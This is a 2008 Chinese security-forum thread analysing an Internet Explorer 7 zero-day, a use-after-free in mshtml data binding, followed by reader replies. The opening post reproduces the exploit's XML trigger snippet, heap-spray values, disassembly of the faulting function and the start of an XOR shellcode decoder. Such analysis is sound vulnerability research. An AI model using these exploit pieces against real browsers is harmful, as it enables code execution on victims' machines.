首页
社区
课程
招聘
[原创]IE7 0day漏洞分析
发表于: 2008-12-11 15:06 13819

[原创]IE7 0day漏洞分析

2008-12-11 15:06
13819

2008.12.9看到knownsec的安全公告,发现IE7的0day,所以我也凑凑热闹
from http://hi.baidu.com/vessial

说实话,不怎么会javascript,所以分析也挺费劲的,
但是大体知道是个怎么回事触发这个漏洞的了

0day代码片断
if(wxp||w2k3)document.write('<XML ID=I><X><C><![CDATA[<image SRC=http://rਊr.book.com src=http://www.google.com]]><![CDATA[>]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>');

关键触发是由于这个Image SRC的字段的数据造成的
http://rਊr.book.com
mshtml.dll会对这个SRC作解析

r把十进制的114转成0x0072
ਊ把十进制的2570转成0x0a0a
刚好它们拼在一起就是一个可利用的堆地址
0x0a0a0072,通过heap spray,分配大量的内存
可使shellcode填充到这个地址空间去,所以我们可以修改这个值来构造我们
的地址,知道下面的
用意了吧,呵呵
var retVal=unescape("%u0a0a%u0a0a");
aaablk=(0x0a0a0a0a-0x100000)/heapBlockSize;

它是怎么进入到0x0a0a0072这个地址的了,由于
重用了一个释放了的对象的造成可以执行我们自已构造的数据,具体代码如下
mshtml.dll CXfer::TransferFromSrc(void)
.text:461E3D18 public: long __thiscall CXfer::TransferFromSrc(void) proc near
.text:461E3D18                                         ; CODE XREF: CXfer::ColumnsChanged(ulong,ulong * const)+33 p
.text:461E3D18                                         ; CDataBindingEvents::TransferFromSrc(CElement *,long)+24 p ...
.text:461E3D18
.text:461E3D18 pvarg           = VARIANTARG ptr -18h
.text:461E3D18 var_8           = dword ptr -8
.text:461E3D18 var_4           = dword ptr -4
.text:461E3D18
.text:461E3D18                 mov     edi, edi
.text:461E3D1A                 push    ebp
.text:461E3D1B                 mov     ebp, esp
.text:461E3D1D                 sub     esp, 18h
.text:461E3D20                 push    ebx
.text:461E3D21                 push    esi
.text:461E3D22                 mov     esi, ecx
.text:461E3D24                 xor     ebx, ebx
.text:461E3D26                 test    byte ptr [esi+1Ch], 9
.text:461E3D2A                 jnz     loc_461E3E2E

.text:461E3D30                 mov     eax, [esi] //eax==0x0a0a0072
.text:461E3D32                 cmp     eax, ebx
.text:461E3D34                 jz      loc_461E3E29
.text:461E3D3A                 cmp     [esi+4], ebx
.text:461E3D3D                 jz      loc_461E3E29
.text:461E3D43                 cmp     [esi+8], ebx
.text:461E3D46                 jz      loc_461E3E29
.text:461E3D4C                 mov     ecx, [eax] //可能是eax==0x0a0a0a0a
.text:461E3D4E                 push    edi
.text:461E3D4F                 push    eax
.text:461E3D50                 call    dword ptr [ecx+84h] //call 0x0a0a0aae
.text:461E3D56                 mov     eax, [esi+1Ch]
.text:461E3D59                 mov     edi, eax
.text:461E3D5B                 shr     edi, 1

call 0x0a0a0aae会执行如下指令,一直执行直到执行到shellcode处

0A2BF9B6    0A0A            or      cl, byte ptr [edx]
0A2BF9B8    0A0A            or      cl, byte ptr [edx]
0A2BF9BA    0A0A            or      cl, byte ptr [edx]
0A2BF9BC    0A0A            or      cl, byte ptr [edx]
0A2BF9BE    0A0A            or      cl, byte ptr [edx]
0A2BF9C0    0A0A            or      cl, byte ptr [edx]
0A2BF9C2    0A0A            or      cl, byte ptr [edx]
0A2BF9C4    0A0A            or      cl, byte ptr [edx]
0A2BF9C6    0A0A            or      cl, byte ptr [edx]
0A2BF9C8    0A0A            or      cl, byte ptr [edx]
0A2BF9CA    0A0A            or      cl, byte ptr [edx]
0A2BF9CC    0A0A            or      cl, byte ptr [edx]
0A2BF9CE    0A0A            or      cl, byte ptr [edx]
0A2BF9D0    0A0A            or      cl, byte ptr [edx]
0A2BF9D2    0A0A            or      cl, byte ptr [edx]
0A2BF9D4    0A0A            or      cl, byte ptr [edx]
0A2BF9D6    0A0A            or      cl, byte ptr [edx]
0A2BF9D8    0A0A            or      cl, byte ptr [edx]
0A2BF9DA    0A0A            or      cl, byte ptr [edx]
0A2BF9DC    0A0A            or      cl, byte ptr [edx]
0A2BF9DE    0A0A            or      cl, byte ptr [edx]
0A2BF9E0    0A0A            or      cl, byte ptr [edx]
0A2BF9E2    0A0A            or      cl, byte ptr [edx]
0A2BF9E4    0A0A            or      cl, byte ptr [edx]
0A2BF9E6    0A0A            or      cl, byte ptr [edx]
0A2BF9E8    0A0A            or      cl, byte ptr [edx]

0A2BF9EA    90              nop   //shellcode
0A2BF9EB    90              nop
0A2BF9EC    25 00750090     and     eax, 90007500
0A2BF9F1    90              nop
0A2BF9F2    90              nop
0A2BF9F3    90              nop
0A2BF9F4    D9E1            fabs
0A2BF9F6    D93424          fstenv (28-byte) ptr [esp]
0A2BF9F9    58              pop     eax
0A2BF9FA    58              pop     eax
0A2BF9FB    58              pop     eax
0A2BF9FC    58              pop     eax
0A2BF9FD    33DB            xor     ebx, ebx
0A2BF9FF    B3 1C           mov     bl, 1C
0A2BFA01    03C3            add     eax, ebx
0A2BFA03    31C9            xor     ecx, ecx
0A2BFA05    66:81E9 65FA    sub     cx, 0FA65
0A2BFA0A    8030 21         xor     byte ptr [eax], 21
0A2BFA0D    40              inc     eax
0A2BFA0E ^ E2 FA           loopd   short 0A2BFA0A


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 7
支持
分享
最新回复 (21)
雪    币: 208
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
SF感觉真好坐! 支持。。。学习。。。
2008-12-11 15:10
0
雪    币: 331
活跃值: (57)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
3
溢出越来越少了,,
就heap spray撑撑场面……
2008-12-11 15:49
0
雪    币: 192
活跃值: (70)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
虽然不懂 但还是顶一下
2008-12-11 16:03
0
雪    币: 34
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
过来看看,收下了。
2008-12-11 16:39
0
雪    币: 34
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
顺便问下版主,加精与表示关注有什么不同?
2008-12-11 16:41
0
雪    币: 116
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
好迅速啊,强人
2008-12-11 17:35
0
雪    币: 295
活跃值: (11)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
8
比想象中暴出来的快啊
2008-12-11 18:21
0
雪    币: 370
活跃值: (15)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
9
还没学就冇多大舞台了
省了
2008-12-11 19:45
0
雪    币: 622
活跃值: (65)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
10
nice work
2008-12-11 20:36
0
雪    币: 2056
活跃值: (13)
能力值: ( LV13,RANK:250 )
在线值:
发帖
回帖
粉丝
11
学习1234.
2008-12-12 10:43
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
关注!收下,谢谢!
2008-12-12 15:31
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dzg
13
好啊,od怎么跟进去?
2008-12-12 15:46
0
雪    币: 10
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
14
“重用了一个释放了的对象的造成可以执行我们自已构造的数据,具体代码如下”,可否详细点解释下你的这句话,望楼主赐教。
2008-12-12 17:10
0
雪    币: 722
活跃值: (123)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
15
应该少了两个字:“指针”。应该是“重用了一个释放了的对象的指针(这时已经不是指向原来那个对象,而是指向我们可以自定义的URL链接部分),造成可以执行我们自已构造的数据”
江民副总戴硕的文章有助于对此的理解,见http://hi.baidu.com/daishuo/blog/item/4931e5dd8d1acde876c63873.html
2008-12-12 17:25
0
雪    币: 10
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
16
谢谢,刚才看了dai 总的文章,正在体会中,如果把你和xee 的整合起来,在加上exploit 的原因分析,如果再将其讲精讲透彻,绝对是篇经典的漏洞分析文章。
2008-12-12 17:58
0
雪    币: 431
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
17
哎 不懂  继续学习啊
2008-12-13 19:09
0
雪    币: 206
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
弱弱的问下,怎么很快的调试知道漏洞在mshtml.dll CXfer::TransferFromSrc的,能请教下详细的方法么
2008-12-17 10:19
0
雪    币: 230
活跃值: (106)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
谢谢分享,学习了
2008-12-20 16:48
0
雪    币: 213
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
好文 学习了
2008-12-21 14:16
0
雪    币: 310
活跃值: (159)
能力值: ( LV12,RANK:200 )
在线值:
发帖
回帖
粉丝
21
r把十进制的114转成0x0072
ਊ把十进制的2570转成0x0a0a
这两个数字没太懂
2011-9-17 16:34
0
雪    币: 208
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
呵呵,不错。
2012-3-9 10:53
0
游客
登录 | 注册 方可回帖
返回
//